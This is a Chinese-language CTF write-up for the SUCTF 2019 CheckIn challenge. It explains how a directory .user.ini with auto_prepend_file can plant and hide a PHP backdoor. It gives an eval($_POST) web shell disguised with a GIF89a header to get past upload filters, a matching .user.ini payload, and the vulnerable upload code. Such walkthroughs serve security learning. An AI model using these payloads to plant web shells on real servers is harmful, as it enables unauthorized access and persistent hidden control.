.user.ini
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
实例
php 配置项中有两个配置可以起到一些作用
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
这两个配置项的作用相当于一个文件包含,比如
// .user.ini
auto_prepend_file = 1.jpg
// 1.jpg
<?php phpinfo();?>
// 1.php(任意php文件)
满足这三个文件在同一目录下,则相当于在1.php文件里插入了包含语句require('1.png')
,进行了文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。
.user.ini
使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。
局限
在.user.ini
中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。
但是有时可以使用 ../
来将文件上传到其他目录,达到一个利用的效果。
[SUCTF 2019]CheckIn
进入之后是一个文件上传页面,php文件被过滤,尝试上传png图片马
过滤了<?
<script language="php">eval($_POST['1']);</script>
修改为script形式
提示exif_imagetype:not image!
exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
exif_imagetype — 判断一个图像的类型
说明
exif_imagetype(string $filename): int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT']
结合使用来检查浏览器是否可以显示某个指定的图像。
GIF89a图片头欺骗
GIF89a
<script language="php">eval($_POST['1']);</script>
上传成功,但无法被解析运行
.user.ini
第一步
GIF89a
auto_prepend_file = 1.jpg
第二步:上传1.jpg
GIF89a
<script language="php">eval($_POST['1']);</script>
第三步
上传完成
连接蚁剑
源码
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
参考:
https://juejin.cn/post/6844903571876478989
https://xz.aliyun.com/t/6091